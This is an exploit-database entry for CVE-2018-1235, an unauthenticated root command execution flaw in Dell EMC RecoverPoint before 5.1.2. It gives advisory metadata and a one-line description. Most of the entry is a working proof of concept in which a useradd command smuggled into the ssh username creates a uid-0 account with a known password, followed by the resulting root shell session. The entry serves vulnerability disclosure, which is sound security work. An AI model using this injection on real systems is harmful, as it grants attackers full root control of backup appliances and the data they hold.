28 lines
No EOL
1.2 KiB
Text
28 lines
No EOL
1.2 KiB
Text
# Exploit Title: Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution
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# Date: 2018-06-21
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# Version: All versions before RP 5.1.2, and all versions before RP4VMs 5.1.1.3
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# Exploit Author: Paul Taylor
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# Vendor Advisory: DSA-2018-095
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# Vendor KB: https://support.emc.com/kb/521234
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# Github: https://github.com/bao7uo/dell-emc_recoverpoint
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# Website: https://www.foregenix.com/blog/foregenix-identify-multiple-dellemc-recoverpoint-zero-day-vulnerabilities
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# Tested on: RP4VMs 5.1.1.2, RP 5.1.SP1.P2
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# CVE: CVE-2018-1235
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# 1. Description
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# An OS command injection vulnerability exists in the mechanism which processes usernames
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# which are presented for authentication, allowing unauthenticated root access via
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# the ssh service.
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# 2. Proof of Concept
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# Inject into ssh username.
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# N.B. combined length of new username+password is limited to 21 due to injection length limitations
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$ ssh '$(useradd -ou0 -g0 bao7uo -p`openssl passwd -1 Secret123`)'@192.168.57.3
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Password: ^C
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$ ssh bao7uo@192.168.57.3
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Password: Secret123
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Could not chdir to home directory /home/bao7uo: No such file or directory
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root@recoverpoint:/# id
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uid=0(root) gid=0(root) groups=0(root)
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root@recoverpoint:/# |